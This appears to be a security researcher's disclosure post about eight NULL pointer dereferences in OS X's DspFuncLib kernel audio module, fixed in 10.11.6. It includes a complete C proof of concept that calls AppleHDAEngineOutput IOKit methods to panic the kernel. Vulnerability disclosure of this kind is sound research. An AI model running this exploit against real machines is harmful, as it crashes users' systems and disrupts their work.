8 NULL Point Deference Fixed in OSX 10.11.6

Description

Several DspFuncs in DspFuncLib don’t check the return value of DspFuc::getInputBuffer and DspFunc::getOutputBuffer , they then call DspBuffer::getBufferAddress directly. If the return value is 0, then NULL point is dereferenced in getBufferAddress.

 

Affected OS and Module

OSX < 10.11.6

Module: DspFuncLib

Tested Environment:

  • OSX 10.11.3 in VMware Fusion
  • MacBook Pro(Retina, 2015)

 

Analysis

Several DspFuncs don’t check the return value of DspFuc::getInputBuffer and DspFunc::getOutputBuffer. Take DspFunc2WayCrossover as example:

NULL_DSP_ACCESS

See the picture above, if DspFunc::getInputBuffer returns 0, it will panic when getBufferAddress is called.

DspFunc::getInputBuffer/DspFunc::getOutputBuffer will return 0 in my provided PoCs.

There are 8 DspFuncs in DspFuncLib which don’t check the return value, please see the table as below.

NO. DspFunc Name DspFunc Object
1 DspCrossover2Way DspFunc2WayCrossover
2 Dsp2To4Splitter DspFunc2To4Splitter
3 DspBeamFormer DspFuncBeamFormer
4 DspDelay DspFuncDelay
5 DspCrossover2Dot1 DspFunc2DOT1Crossover
6 DspCrossover2Dot2 DspFunc2DOT2Crossover
7 DspMultiBandCompressor DspFuncMultiBandCompressor
8 Dsp2To6Splitter DspFunc2To6Splitter

 

PoC

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <IOKit/IOKitLib.h>
io_connect_t openService(char* serviceName,uint32_t openType)
{
    kern_return_t err;
    io_connect_t conn = MACH_PORT_NULL;
    do {
        CFMutableDictionaryRef matching = IOServiceMatching(serviceName);
        if(!matching){
            printf(“unable to create service matching dictionary\n”);
            break;
        }
        io_iterator_t iterator;
        err = IOServiceGetMatchingServices(kIOMasterPortDefault, matching, &iterator);
        if (err != KERN_SUCCESS){
            printf(“no matches\n”);
            break;
        }
        io_service_t service = IOIteratorNext(iterator);
        if (service == IO_OBJECT_NULL){
            printf(“unable to find service\n”);
            break;
        }
        err = IOServiceOpen(service, mach_task_self(), openType, &conn);
        if (err != KERN_SUCCESS){
            printf(“unable to get user client connection\n”);
            break;
        }else{
            printf(“got userclient connection: %x, type:%d\n”, conn, 0);
        }
    } while (0);
    return conn;
}
uint32_t createDSPFunction(io_connect_t conn,char* DspFuncName)
{
    uint64_t inputScalar[8];
    uint32_t inputScalarCnt = 0;
    char inputStruct[4096];
    size_t inputStructCnt = 0x1000;
    uint64_t outputScalar[8];
    uint32_t outputScalarCnt = 0;
    char outputStruct[4096];
    size_t outputStructCnt = 4;
    memset(outputStruct, 0, 4);
    inputStructCnt = (uint32_t)strlen(DspFuncName)+1;
    memset(inputStruct, 0, inputStructCnt);
    memcpy(inputStruct, DspFuncName, inputStructCnt-1);
    IOConnectCallMethod(
                        conn,
                        0,
                        inputScalar,
                        inputScalarCnt,
                        inputStruct,
                        inputStructCnt,
                        outputScalar,
                        &outputScalarCnt,
                        outputStruct,
                        &outputStructCnt);
    return *(uint32_t*)outputStruct;
}
void HDAClientStart(io_connect_t conn)
{
    uint64_t inputScalar[8];
    uint32_t inputScalarCnt = 0;
    char inputStruct[4096];
    size_t inputStructCnt = 0;
    uint64_t outputScalar[8];
    uint32_t outputScalarCnt = 0;
    char outputStruct[4096];
    size_t outputStructCnt = 0;
    IOConnectCallMethod(
                        conn,
                        3,
                        inputScalar,
                        inputScalarCnt,
                        inputStruct,
                        inputStructCnt,
                        outputScalar,
                        &outputScalarCnt,
                        outputStruct,
                        &outputStructCnt);
}
void HDAClientStop(io_connect_t conn)
{
    uint64_t inputScalar[8];
    uint32_t inputScalarCnt = 0;
    char inputStruct[4096];
    size_t inputStructCnt = 0;
    uint64_t outputScalar[8];
    uint32_t outputScalarCnt = 0;
    char outputStruct[4096];
    size_t outputStructCnt = 0;
    IOConnectCallMethod(
                        conn,
                        4,
                        inputScalar,
                        inputScalarCnt,
                        inputStruct,
                        inputStructCnt,
                        outputScalar,
                        &outputScalarCnt,
                        outputStruct,
                        &outputStructCnt);
}
void removeAllFuncs(io_connect_t conn)
{
    uint64_t inputScalar[8];
    uint32_t inputScalarCnt = 0;
    char inputStruct[4096];
    size_t inputStructCnt = 0;
    uint64_t outputScalar[8];
    uint32_t outputScalarCnt = 0;
    char outputStruct[4096];
    size_t outputStructCnt = 0;
    IOConnectCallMethod(
                        conn,
                        2,
                        inputScalar,
                        inputScalarCnt,
                        inputStruct,
                        inputStructCnt,
                        outputScalar,
                        &outputScalarCnt,
                        outputStruct,
                        &outputStructCnt);
}
int main(){
    io_connect_t conn = MACH_PORT_NULL;
    io_connect_t conn_HDAEngine = MACH_PORT_NULL;
    conn = openService((char*)”AppleHDAEngineOutput”,2);
    if (conn == MACH_PORT_NULL) {
        printf(“error open service 2!\n”);
    }
    conn_HDAEngine = openService((char*)”AppleHDAEngineOutput”,0);
    if (conn == MACH_PORT_NULL) {
        printf(“error open service 0!\n”);
    }
    HDAClientStart(conn_HDAEngine);
    removeAllFuncs(conn);
    //create object DspFunc2wayCrossOver
    uint32_t id = createDSPFunction(conn,(char*)”DspCrossover2Way”);
    printf(“id is: 0x%x\n”,id);
    createDSPFunction(conn,(char*)”DspBuzzKill”);
    //trigger DspFunc2wayCrossOver::process
    HDAClientStop(conn_HDAEngine);
    IOServiceClose(conn_HDAEngine);
    IOServiceClose(conn);
    sleep(1);
    printf(“panic?\n”);
    return 0;
}

发表评论